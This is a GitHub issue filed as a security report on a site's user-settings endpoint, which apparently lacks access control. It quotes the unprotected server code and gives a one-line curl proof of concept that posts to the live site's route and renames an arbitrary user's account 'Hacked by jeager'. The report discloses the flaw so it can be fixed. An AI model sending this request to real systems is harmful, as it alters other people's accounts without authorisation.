Skip to content

Fix broken Access Control #64

@jeagercoder

Description

@jeagercoder

Security report

Describe the bug

No access control implemented, the user data update endpoint is not authenticated so anyone can change any user data

To Reproduce

Steps to reproduce the behavior, please provide code snippets or a repository:

I found a lot of logic that does not implement access control, one of which is:

const submission = parse(formData, { schema: schemaUserFullName })
    if (!submission.value) return json(submission, { status: 400 })
    await modelUser.updateFullName(submission.value)
    await timer.delay()
    return json(submission)
curl 'https://bandungdev.com/user/settings?_data=routes%2Fuser.settings' --data-raw 'id=userId&intent=user-change-fullname&fullname=Hacked by jeager'

Screenshot from 2024-07-07 00-16-25

Reference

OWASP Broken Access Control

Metadata

Metadata

Labels

bugSomething isn't workingsecuritySecurity related

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions